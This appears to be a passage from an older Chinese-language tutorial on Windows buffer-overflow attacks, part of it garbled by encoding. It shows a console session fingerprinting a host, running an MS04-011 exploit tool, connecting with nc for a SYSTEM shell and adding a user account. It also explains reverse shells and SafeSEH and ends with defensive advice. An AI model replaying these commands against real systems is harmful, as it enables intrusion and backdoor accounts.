我們來看一下以前比較精典的一個(gè)溢出實(shí)例ms04011溢出: Microsoft Windows XP [版本 5.1.2600]
(C) 版權(quán)所有 1985-2001 Microsoft Corp.
C:\windows\system32\cd\
C:\> C:\>getos 2**.159.31.96 (判斷操作系統(tǒng)) ----------------------------
THCsmbgetOS v0.1 - gets gro
by Johnny Cyberpunk (
----------------------------
[*] Connecting Port 139....
[*] Sending session request.
[*] Sending negotiation requ
[*] Sending setup account re
[*] Successful....
Remote OS:
----------
WORKGROUP
Windows 2000 LAN Manager
Windows 5.1
C:\>
C:\>ms04011 1 2**.159.31.96 (溢出格式) shellcode size 404
Ret value = 1727
C:\>
C:\>nc 2**.159.31.96 1234 (nc進(jìn)行連接) Microsoft Windows XP [版本 5.1.2600]
(C) 版權(quán)所有 1985-2001 Microsoft Corp.
D:\WINDOWS\system32> (得到目標(biāo)機(jī)shell) D:\WINDOWS\system32>net user test test /add
net user test test /add
命令成功完成。 (建立用戶) 上面只是簡(jiǎn)單演示了一下溢出過程,上例是正向溢出,只是直接溢出后用nc進(jìn)行連接,還可以反向溢出,反向溢出一般用來突破防火墻,先用nc在本機(jī)監(jiān)聽一個(gè)端口,等待反向溢出的服務(wù)器連接過來從而得到一個(gè)system權(quán)限的shell。對(duì)于溢出還有很多,如iis、mso4045、ms04049、ms05039、ms05051、ms06061等還有一些精典的應(yīng)用程序遠(yuǎn)程溢出,如未打sp3的mssql遠(yuǎn)程溢出可以直接得到系統(tǒng)權(quán)限。還有imail服務(wù)也一樣可以通過遠(yuǎn)程溢出獲得系統(tǒng)權(quán)限。還有很多病毒如沖擊波、震蕩波等病毒都是利用的rpc和lsass溢出漏洞,在感染一臺(tái)機(jī)器后又不斷的以此機(jī)器為節(jié)點(diǎn)掃描網(wǎng)絡(luò)中的其它存在漏洞的機(jī)器進(jìn)行溢出植入病毒程序,這樣不斷的繁殖下去。 不過在windiws2003下溢出就無用武之地了,因?yàn)樵?003的保護(hù)機(jī)制里面還有一個(gè)技術(shù)是可控的SEH處理函數(shù)指針,2003中結(jié)構(gòu)化異常處理例程注冊(cè)后,它的函數(shù)指針會(huì)保存在模塊中的一個(gè)叫Load Configuration Directory的地址列表中,如果函數(shù)返回時(shí)系統(tǒng)發(fā)現(xiàn)堆棧中的Cookie發(fā)生了改變,視為溢出,系統(tǒng)就會(huì)查看當(dāng)前線程相關(guān)的SEH中是否有相應(yīng)的處 理函數(shù)指針,有的話,系統(tǒng)將該指針與已經(jīng)注冊(cè)過函數(shù)的地址列表進(jìn)行對(duì)照,如果沒有發(fā)現(xiàn)匹配的,而且處理函數(shù)指針在堆棧中,異常處理函數(shù)就不運(yùn)行。如果該處 理函數(shù)指針位于已加載的各個(gè)DLL模塊地址范圍只外,或堆中,處理函數(shù)會(huì)被執(zhí)行,這種可控制的異常處理技術(shù)就會(huì)使傳統(tǒng)的覆蓋SEH指針的方法失敗。雖然可以用已經(jīng)加載模塊以外的地址來覆蓋SHE但在遠(yuǎn)程溢出中仍顯得無力。 我們?cè)賮砜纯幢镜匾绯觯镜匾绯鲋饕脕磉M(jìn)行權(quán)限提升,前面的serv-u的本地溢出已經(jīng)注入中講解了,我們現(xiàn)在再來看一下本地的一個(gè)特權(quán)提升漏洞,如圖:
 通過執(zhí)行本地溢出直接從user用戶提升到系統(tǒng)權(quán)限。 對(duì)溢出攻擊的安全防范: 關(guān)閉139端口,停掉icp/ip netbios服務(wù)。 在本地連接的屬性窗口中tcp/ip協(xié)議中的高級(jí)選項(xiàng)里“禁用tcp/ip上的netbios(s)”因?yàn)楹芏嘁绯龆际抢玫倪@個(gè)通道。 安裝防火墻是必要的。 打上重要漏洞的補(bǔ)丁(如沖擊波補(bǔ)丁、震蕩波補(bǔ)丁),并開啟系統(tǒng)的自動(dòng)更新功能。 服務(wù)器使用windows2003系統(tǒng)。
|